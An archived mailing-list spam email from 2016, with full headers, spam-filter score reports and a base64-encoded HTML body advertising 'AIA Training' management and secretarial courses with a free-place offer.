From noreply@aiatedu.org Sun Oct 2 14:37:12 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.4 required=5.0 tests=FREEMAIL_FORGED_REPLYTO, HTML_MESSAGE,MIME_HTML_ONLY,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 88C157CA4 for ; Sun, 2 Oct 2016 14:37:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5C0BF304032 for ; Sun, 2 Oct 2016 12:37:09 -0700 (PDT) X-ASG-Debug-ID: 1475437022-0bf57b1e93cc1c0001-S8gJnT Received: from m229.mxout.mta4.net (m229.mxout.mta4.net [67.227.85.229]) by cuda.sgi.com with ESMTP id T3MCCwL1BwFWQpB1 (version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 02 Oct 2016 12:37:02 -0700 (PDT) X-Barracuda-Envelope-From: noreply@aiatedu.org X-Barracuda-Effective-Source-IP: m229.mxout.mta4.net[67.227.85.229] X-Barracuda-Apparent-Source-IP: 67.227.85.229 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=aiatedu.org; h=MIME-Version:Subject:Date:From:Reply-To:To:Message-ID:List-Unsubscribe:Content-Type; q=dns/txt; s=api; t=1475437017; bh=ZC2xA/Tjsoxq3EIrwMucMpUpUixoL3oUHgejf+ZPc9U=; b= Vcjnn/3s9OyEefc5g/hEXF3wd/dtV23HaIsmNBXWFaLBVJuyvEUxcTxjrBgj9Jv8GgYfBdr6+XqPtzXYBRUQ409rjHy9xcedh+Hz0rsYBag0EpXxKFgYpKWZSX2X5rR2RQM51UT0oJbtgJG6rcJn+JduuDlHd8yI96nlLiqn2bM= DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=elasticemail.com; h=MIME-Version:Subject:Date:From:Reply-To:To:Message-ID:List-Unsubscribe:Content-Type; q=dns/txt; s=api; t=1475437017; bh=ZC2xA/Tjsoxq3EIrwMucMpUpUixoL3oUHgejf+ZPc9U=; b= klA+Gs8iAXmWwb2BfDEoI+pzzNTOa5i7LUPxfuzcufvVDqpcR+ePNH76p4QaSbKOgxrkbH7qAEFBP/69WLGdg8zZkTK112Bq1tGmG0Nzlc8dvRBtySZC/Ki4aLS2S38Pj6nFR+G05Uf7/lUY5SnGDxYT7SCi9UeT0ODmhd7SQDU= From: AIA Training To: Date: Sun, 02 Oct 2016 19:31:28 +0000 Subject: No course fee required.. Attend a Course today!!! Message-Id: <4tzealm5kudv.h_YwCwIkDnR55gdoRZea9A2@LUE6.trk.elasticemail.com> X-ASG-Orig-Subj: No course fee required.. Attend a Course today!!! Reply-To: aiatedu@yahoo.com Sender: AIA Training List-Unsubscribe: =?us-ascii?q?=3Cmailto=3Aunsubscribe+h=5FYwCwIkDnR55gdoRZea9A2=40bounces=2Eelasticem?= =?us-ascii?q?ail=2Enet=3Fsubject=3Dunsubscribe=3E=2C?= =?us-ascii?q?_=3Chttp=3A=2F=2FLUE6=2Etrk=2Eelasticemail=2Ecom=2Ftracking=2Funsubscribe=3Fmsgid=3D?= =?us-ascii?q?h=5FYwCwIkDnR55gdoRZea9A2=3E?= X-Mailer: LUE6.trk.elasticemail.com X-Msg-EID: h_YwCwIkDnR55gdoRZea9A2 MIME-Version: 1.0 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 X-Barracuda-Connect: m229.mxout.mta4.net[67.227.85.229] X-Barracuda-Start-Time: 1475437022 X-Barracuda-Encrypted: ECDHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 43157 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.26 X-Barracuda-Spam-Status: No, SCORE=1.26 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC7_SA_HREF_WWW_MISMATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MIME_HTML_ONLY, PLING_PLING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.80 BSF_SC7_SA_HREF_WWW_MISMATCH BODY: Custom Phishing Mismatch -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.46 PLING_PLING Subject has lots of exclamation marks PCFET0NUWVBFIGh0bWwgUFVCTElDICIgLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRp b25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFu c2l0aW9uYWwuZHRkIj48aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRt bCI+PGhlYWQ+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aXRs ZT48L3RpdGxlPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4 dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij48bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0i d2lkdGg9ZGV2aWNlLXdpZHRoIj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPiAgICBib2R5LCBo dG1sIHsgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7ICAgICAgICBtYXJnaW46IDA7 ICAgICAgICBwYWRkaW5nOiAwOyAgICAgICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50 aWFsaWFzZWQ7ICAgICAgICAtd2Via2l0LXRleHQtc2l6ZS1hZGp1c3Q6IG5vbmU7ICAgICAg ICAtbXMtdGV4dC1zaXplLWFkanVzdDoxMDAlOyAgICB9ICAgIHRhYmxlIHRkLCB0YWJsZSB7 ICAgICAgICBtc28tdGFibGUtbHNwYWNlOiAwcHQ7ICAgICAgICBtc28tdGFibGUtcnNwYWNl OiAwcHQ7ICAgIH0gICAgI291dGxvb2sgYSB7ICAgICAgICBwYWRkaW5nOiAwOyAgICB9ICAg IC5FeHRlcm5hbENsYXNzLCAuRXh0ZXJuYWxDbGFzcyBwLCAuRXh0ZXJuYWxDbGFzcyBzcGFu LCAuRXh0ZXJuYWxDbGFzcyBmb250LCAuRXh0ZXJuYWxDbGFzcyB0ZCwgLkV4dGVybmFsQ2xh c3MgZGl2IHsgICAgICAgIGxpbmUtaGVpZ2h0OiAxMDAlOyAgICB9ICAgIC5FeHRlcm5hbENs YXNzIHsgICAgICAgIHdpZHRoOiAxMDAlOyAgICB9ICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBh bmQgKG1heC13aWR0aDogNDgwcHgpIHsgICAgICAgIHRhYmxlLCB0YWJsZSB0ciB0ZCwgdGFi bGUgdGQgeyAgICAgICAgICAgIHdpZHRoOiAxMDAlICFpbXBvcnRhbnQ7ICAgICAgICB9ICAg ICAgICBpbWcgeyAgICAgICAgICAgIHdpZHRoOiBpbmhlcml0OyAgICAgICAgfSAgICAgICAg LmxheWVyXzIgeyAgICAgICAgICAgIG1heC13aWR0aDogMTAwJSAhaW1wb3J0YW50OyAgICAg ICAgfSAgICB9PC9zdHlsZT48L2hlYWQ+PGJvZHkgc3R5bGU9InBhZGRpbmc6IDBweDsgbWFy Z2luOiAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iaGVpZ2h0OiAxMDAlOyB3aWR0aDogMTAwJTsg YmFja2dyb3VuZC1jb2xvcjogcmdiKDIzOSwgMjM5LCAyMzkpOyIgYWxpZ249ImNlbnRlciI+ ICAgICAgICA8dGJvZHk+ICAgICAgICAgICAgPHRyPiAgICAgICAgICAgICAgICA8dGQgdmFs aWduPSJ0b3AiIGlkPSJkYm9keSIgZGF0YS12ZXJzaW9uPSIyLjIwIiBzdHlsZT0icGFkZGlu Zy10b3A6MzBweDtwYWRkaW5nLWJvdHRvbTozMHB4O2JhY2tncm91bmQtY29sb3I6I2VmZWZl Zjt3aWR0aDoxMDAlOyI+PCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48dGFibGUgc3R5bGU9 IndpZHRoOjgwMHB4IiB3aWR0aD0iODAwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiIGJvcmRlcj0iMCI+PHRyPjx0ZD48IVtlbmRpZl0tLT4gICAg ICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz0ibGF5ZXJfMSIgYWxpZ249ImNlbnRlciIg Ym9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJtYXgt d2lkdGg6ODAwcHg7Ym94LXNpemluZzpib3JkZXItYm94O3dpZHRoOjEwMCU7Ij4gICAgICAg ICAgICAgICAgICAgICAgICA8dGJvZHk+ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iZHJvdyIgdmFs aWduPSJ0b3AiIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJib3gtc2l6aW5nOmJvcmRlci1ib3g7 Zm9udC1zaXplOjBweDt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm ZmY7Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tW2lmIChndGUg bXNvIDkpfChJRSldPjx0YWJsZSB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgY2VsbHBh ZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBib3JkZXI9IjAiPjx0cj48dGQ+PCFbZW5kaWZd LS0+PGRpdiBjbGFzcz0ibGF5ZXJfMiIgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrO3Zl cnRpY2FsLWFsaWduOnRvcDt3aWR0aDoxMDAlO21heC13aWR0aDo4MDBweDsiPiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9ImVkY29udGVu dCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7d2lkdGg6MTAwJSIgYm9yZGVy PSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJlZGltZyIgdmFsaWdu PSJ0b3AiIHN0eWxlPSJib3gtc2l6aW5nOmJvcmRlci1ib3g7dGV4dC1hbGlnbjpjZW50ZXI7 Ij4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxpbWcgc3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IG5vbmU7 IG1heC13aWR0aDogODAwcHg7IHdpZHRoOiAxMDAlOyIgd2lkdGg9IjgwMCIgYWx0PSJJbWFn ZSIgc3JjPSJodHRwczovL2FwaS5lbGFzdGljZW1haWwuY29tL3VzZXJmaWxlL2I5ZjNlNzQx LTY1NzAtNDM4Yy1iMTdhLWIyOTI4NDVjYzRlNy9haWF0LmpwZyI+ICAgICAgICAgICAgICAg ICAgICAgICAgICAgPC90ZD4gICAgICAgICAgICAgICAgICAgICAgIDwvdHI+ICAgICAgICAg ICAgICAgICAgIDwvdGJvZHk+ICAgICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgIDwv ZGl2PjwhLS1baWYgKGd0ZSBtc28gOSl8KElFKV0+PC90ZD48L3RyPjwvdGFibGU+PCFbZW5k aWZdLS0+ICAgICAgIDwvdGQ+ICAgPC90cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dHI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImRyb3ci IHZhbGlnbj0idG9wIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYm94LXNpemluZzpib3JkZXIt Ym94O2ZvbnQtc2l6ZTowcHg7dGV4dC1hbGlnbjpjZW50ZXI7YmFja2dyb3VuZC1jb2xvcjoj ZmZmZmZmOyI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLVtpZiAoZ3RlIG1zbyA5KXwoSUUpXT48 dGFibGUgd2lkdGg9IjEwMCUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgYm9yZGVyPSIwIj48dHI+PHRkPjwhW2VuZGlmXS0tPjxkaXYgY2xhc3M9 ImxheWVyXzIiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jazt2ZXJ0aWNhbC1hbGlnbjp0 b3A7d2lkdGg6MTAwJTttYXgtd2lkdGg6ODAwcHg7Ij4gICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJlZGNvbnRlbnQiIHN0eWxlPSJib3Jk ZXItY29sbGFwc2U6IGNvbGxhcHNlO3dpZHRoOjEwMCU7IiBib3JkZXI9IjAiIGNlbGxwYWRk aW5nPSIyMCIgY2VsbHNwYWNpbmc9IjAiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPHRib2R5PiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0cj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJlZHRleHQiIHZhbGlnbj0idG9wIiBzdHls ZT0idGV4dC1hbGlnbjpsZWZ0O2NvbG9yOiM1ZjVmNWY7Zm9udC1zaXplOjEycHg7Zm9udC1m YW1pbHk6SGVsdmV0aWNhLEFyaWFsLHNhbnMtc2VyaWY7d29yZC1icmVhazpicmVhay13b3Jk O2RpcmVjdGlvbjpsdHI7Ym94LXNpemluZzpib3JkZXItYm94OyI+PGRpdj48cCBzdHlsZT0i bWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAz NCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21h bGw7IHdpZG93czogMTsiPkhpLDwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0 LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFs bDsgd2lkb3dzOiAxOyI+PGJyIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250 LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czog MTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPkF0dGVu ZCBhIGNvdXJzZSB3aXRoIHVzIGZvciBmcmVlLCBpZiAzIG9yIG1vcmUgb2YgeW91ciBmZWUg cGF5aW5nJm5ic3A7Y29sbGVhZ3VlcyBhcmUgYXR0ZW5kaW5nJm5ic3A7c2FtZSBjb3Vyc2Uu Jm5ic3A7PC9zcGFuPjwvcD48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBweDsiPjxz cGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWws IHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxicj48L3NwYW4+ PC9wPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4gc3R5bGU9ImNv bG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsg Zm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+T2ZmZXIgbGFzdCB0aWxsIE5vdmVtYmVy ITwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5 OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PGJy IHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTogYXJpYWwsIHNh bnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjxzdHJvbmc+RUNPTk9N SUMgTUFOQUdFTUVOVCAmYW1wOyBQT0xJQ1kgQU5BTFlTSVMgQ09VUlNFUzwvc3Ryb25nPjwv cD48dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdp ZHRoPSI5MzYiIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPjx0Ym9k eT48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RU1QQTwvc3Ryb25nPjwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9u Zz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwv c3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIE1hY3JvZWNv bm9taWMgQW5hbHlzaXMgUHJvZ3JhbW1lPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8gMDEg LSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+UG9saWN5IEFuYWx5c2lzIEZvciBTZW5pb3IgTWFuYWdlcjwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wNCAt IDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5Qb2xpY3kgRGV2ZWxvcG1lbnQgQW5kIFN0cmF0ZWdpYyBN YW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAw MyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJv bmc+MDA0PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+VHJhZGUgQW5k IEludmVzdG1lbnQgUHJvbW90aW9uIFByb2dyYW1tZTwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZl YiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPlRyYWRlIE5lZ290aWF0aW9uIFNraWxsczwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAt IDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPlRyYWRlIFBvbGljeSBEZXZlbG9wbWVudCBBbmQgTWFjcm9lY29u b21pYyBBbmFseXNpczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8g MDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ry b25nPjAwNzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2Vk IFBvbGljeSBNYW5hZ2VtZW50IEFuZCBFdmFsdWF0aW9uPC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBG ZWIgLyAwNiAtIDEwIEp1biAvIDE5IC0gMjMgU2VwdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA4PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+UHVibGljIFByaXZhdGUgUGFydG5lcnNoaXAgTWFuYWdlbWVudDwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVnIC8gMDcgLSAxOCBOb3Y8L3RkPjwv dHI+PC90Ym9keT48L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+ PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlh bCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9z cGFuPjxiciBzdHlsZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFy aWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25n PlNFQ1JFVEFSSUFMICZhbXA7Jm5ic3A7QURNSU5JU1RSQVRJT04mbmJzcDtDT1VSU0VTPC9z dHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2lu Zz0iMCIgd2lkdGg9IjkzNiIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQt ZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAx OyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5TQTwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExF PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlv bjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8 L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25n PjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFkdmFuY2VkIFNl Y3JldGFyaWFsICZhbXA7IFBlcnNvbmFsIEFzc2lzdGFudCBQcm9ncmFtbWU8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MjIgRmViIC0gMDQgTWFyIC8gNCAtIDE1IEF1ZyAvIDEwIC0gMjEgTm92PC90ZD48L3Ry Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDI8L3N0cm9uZz48L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5NYW5hZ2VtZW50IERldmVsb3BtZW50IFByb2dy YW1tZSBmb3IgU2VjcmV0YXJpYWwgJmFtcDsgQWRtaW5pc3RyYXRvcnM8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAzPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvZmVzc2lvbmFsIERldmVsb3BtZW50IFByb2dy YW1tZSBmb3IgU2VjcmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdl ZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAt IDI0IEp1biAvIDAzIC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+PHN0cm9uZz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij5Qcm9mZXNzaW9uYWwgRXhlY3V0aXZlIFNlY3JldGFyaWVzIGFuZCBBZG1pbmlzdHJhdG9y cyBQcm9ncmFtbWU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0 IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA1PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5j ZWQgU2VjcmV0YXJpZXMgYW5kIEV4ZWN1dGl2ZSBBc3Npc3RhbnRzIFByb2dyYW1tZTwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjI5IEZlYiAtIDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3Rk PjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkRhdGEgYW5kIHJlY29yZHMgTWFuYWdl bWVudCBQcm9ncmFtbWUgZm9yIFNlY3JldGFyaWVzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog 